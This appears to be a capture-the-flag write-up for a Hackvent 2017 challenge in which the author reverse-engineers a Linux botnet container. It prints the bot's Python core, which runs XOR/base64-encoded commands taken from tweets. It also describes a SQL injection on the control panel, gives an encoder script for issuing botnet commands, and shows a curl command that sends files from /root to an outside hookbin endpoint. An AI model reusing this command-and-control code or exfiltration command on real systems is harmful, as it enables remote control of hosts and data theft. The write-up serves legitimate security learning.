Skip to content

Latest commit

 

History

History
200 lines (143 loc) · 8.46 KB

File metadata and controls

200 lines (143 loc) · 8.46 KB

Day 20: Linux malware

Oh boy, this will go wrong... =D

Ohai my name is muffinx... ...um yeah btw. cyberwar just started and you should just pwn everyone?

Make sure you don't leave traces and make the lifes of your opponents harder, but fairplay!

You are a hacker? Then think like a hacker!
Attack! Defend! And trick!

Ladies and gentlemen,
We understand that you
Have come tonight
To bear witness to the sound
Of drum And Bass

We regret to announce
That this is not the case,
As instead
We come tonight to bring you
The sonic recreation of the end of the world.

Ladies and gentlemen,
Prepare
To hold
Your
Colour

OK.
Fuck it,
I lied.
It's drum and bass.
What you gonna do?

WARNING:
RUN INSIDE VM, THIS CONTAINER MAYBE DANGEROUS FOR YOUR SYSTEM,
WE TAKE NO RESPONSIBILITY

You should keep the container inside the same host your haxxing on (same ip) or some things will not work...

https://hub.docker.com/r/muffinx/hackvent17_linux_malware/

Hint #1: check https://hub.docker.com/r/muffinx/hackvent17_linux_malware/ for regular updates, keep the container running (on the same ip) when you are haxxing the bot panel
Hint #2: you can also use https://hookbin.com/ to create private endpoints

Solution

I have to say I really enjoyed this challenge. Good work, muffinX!

OK, first things first. I pulled the docker image and analyzed it a bit.

$ docker pull muffinx/hackvent17_linux_malware
$ docker inspect muffinx/hackvent17_linux_malware | grep -A 2 Entrypoint
            "Entrypoint": [
                "./root/loopz.py"
            ],

Before actually running it I took a look inside the container to see what's in there.

$ docker run -i -t --entrypoint=/bin/bash --user=0 muffinx/hackvent17_linux_malware
$ ls /root
bot  checker.py  loopz.py  party.py

I copied files located in root's home outside the container for further analysis.

$ docker run muffinx/hackvent17_linux_malware &
[1] 25202
$ docker ps
CONTAINER ID        IMAGE                              COMMAND             CREATED             STATUS              PORTS               NAMES
94978f1117d5        muffinx/hackvent17_linux_malware   "./root/loopz.py"   5 seconds ago       Up 5 seconds                            cocky_northcutt
$ docker cp 94978f1117d5:/root/bot .
$ docker cp 94978f1117d5:/root/checker.py .
$ docker cp 94978f1117d5:/root/loopz.py .
$ docker cp 94978f1117d5:/root/party.py .

Then I inspected those files.

  • bot - 64-bit ELF binary of the bot
  • checker.py - heart-beat script which gets nonce from challenges site which is xored and sent back after 2 seconds
  • loopz.py - simple scheduler script which executes bot binary every 3 seconds
  • party.py - distraction script which creates random files and directories

I focused on the ELF binary. After decompiling it I realized it unwraps itself (series of ELF binary and Python script layers) using hidden temporary files in /tmp. I wrote a simple bash script which helped me to capture those layers.

The only interesting layer was the last one, the other ones were just wrappers. It contained a python script hidden inside manual page of ping command.

This is the bot's core Python script extracted from the last layer:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import base64, os, re, urllib2
from easyprocess import EasyProcess

os.system('./checker.py')

def x(t): return ''.join([ chr(ord(t[i]) ^ [0x66, 0x66, 0x66, 0x13, 0x37, 0x42, 0x69, 0x33, 0x01, 0x13] [i % 10]) for i in range(len(t)) ])

def ok_cool(c):
    try:
        c = x( base64.b64decode(c))
        EasyProcess(c).call(timeout=2)
    except: pass

def wtf(n):
    t =  base64.b64decode('aHR0cHM6Ly90d2l0dGVyLmNvbS8=') + n #b64decoded: 'https://twitter.com/'
    cs = []

    try:
        c_txt = urllib2.urlopen(t).read()
        cs = re.findall(base64.b64decode('VHdlZXRUZXh0U2l6ZSguKik8L3A='), c_txt) #b64decoded: 'TweetTextSize(.*)</p'
    except: pass

    for c in cs:
        try:
            c = c[c.index('>')+1:]
            if '<a href="/muffiniks" class="twitter-atreply pretty-link js-nav" dir="ltr" data-mentioned-user-id="764117042274373632" ><s>@</s><b>muffiniks</b></a>' in c and ' <a href="/hashtag/hackvent?src=hash" data-query-source="hashtag_click" class="twitter-hashtag pretty-link js-nav" dir="ltr" ><s>#</s><b>hackvent</b></a>' in c and ' rel="nofollow noopener" dir="ltr" data-expanded-url="http://hackvent.hacking-lab.com" class="twitter-timeline-link" target="_blank" title="http://hackvent.hacking-lab.com" ><span class="tco-ellipsis"></span><span class="invisible">http://</span><span class="js-display-url">hackvent.hacking-lab.com</span><span class="invisible"></span><span class="tco-ellipsis"><span class="invisible">&nbsp;</span></span></a> ' in c:
                c = c[c.index(base64.b64decode('TVVGRklOX0JPVE5FVDo='))+len( base64.b64decode('TVVGRklOX0JPVE5FVDo=')):] # b64decoded: 'MUFFIN_BOTNET:'
                c = c[:c.index(base64.b64decode('Ok1VRkZJTl9CT1RORVQ='))] # b64decoded: ':MUFFIN_BOTNET'
                ok_cool(c)
        except: pass

def ohai():
    ns = []
    try:
        n_txt = urllib2.urlopen( base64.b64decode('aHR0cDovL2NoYWxsZW5nZXMuaGFja3ZlbnQuaGFja2luZy1sYWIuY29tOjgwODEvP3R3aXR0ZXI=')).read() # b64decoded: 'http://challenges.hackvent.hacking-lab.com:8081/?twitter'
        ns = list(set([n for n in n_txt.split('|') if len(n) > 1]))
    except: pass
    for n in ns: wtf(n)

ohai()

After a quick code analysis I found this:

  • ohai() functions grabs Twitter account names listed on the challenge's panel
  • each name is then passed to wtf() function which searches for tweets with specified format and extracts encoded commands from these tweets
  • ok_cool() decodes commands end executes them

Pretty simple. Next step was to figure out how to add my account name to the list to be able to send commands to the botnet. I looked at the site panel which contained an embedded YouTube video and just under it there was a hidden form where I could submit a password. I tried a simple SQL injection to see if it's vulnerable.

I entered a' -- as a password and got this interesting response:

[-] query failed : SELECT AES_ENCRYPT('a' --','muffin_botz_hax_pw') AS enc FROM passwords

So I employed sqlmap tool to do a blind time-based SQLi to get admin's password in its encrypted form and then I decrypted it with the key muffin_botz_hax_pw. The password was this_pw_is_so_eleet.

I submited it and got to the next hidden form where I was able to add my Twitter account name to the list.

Then I wrote a simple script based on knowledge how the bot works to encode my commands to the expected message format.

#!/usr/bin/env python

import base64, sys

def x(t): return ''.join([ chr(ord(t[i]) ^ [0x66, 0x66, 0x66, 0x13, 0x37, 0x42, 0x69, 0x33, 0x01, 0x13] [i % 10]) for i in range(len(t)) ])

def decode(cmd): return x(base64.b64decode(cmd))
def encode(cmd): return base64.b64encode(x(cmd))

prefix = '@muffiniks #hackvent http://hackvent.hacking-lab.com  MUFFIN_BOTNET:'
suffix = ':MUFFIN_BOTNET'

cmd = str(sys.argv[1])

print(prefix + encode(cmd) + suffix)

At that point a had control over the botnet and was able to send commands. The last step was to find the right command to get the flag from the challenge server which was part of the botnet. I prepared my hookbin to capture all botnet responses and since I knew challenge server's IP from a DNS lookup I filtered captured responses to IP 80.74.140.188.

I used following command to find the flag in root's home and send it back to my hookbin.

sh -c 'grep -R HV17- /root | base64 -w 0 | curl -d @- https://hookb.in/ZYAg8reb'

Encoded it to a tweet:

$ ./encode_cmd.py "sh -c 'grep -R HV17- /root | base64 -w 0 | curl -d @- https://hookb.in/ZYAg8reb'"
@muffiniks #hackvent http://hackvent.hacking-lab.com  MUFFIN_BOTNET:FQ5GPlRiTlRzdhZGS0EXCj8CNj5GSRR8WDZJTyFxBxUDJQNiREQhI0YaRnBCMAUTLHdGJkszXzYdQ3IpSUkOfFgpCx1ofUk8P1JQehtWYzQ=:MUFFIN_BOTNET

Tweeted it and waited for the response from challenge server. This is what i got:

/root/secret:HV17-wh4t-4b0ut-n!x-m4l3w4re-4nd-cyberwarezzz?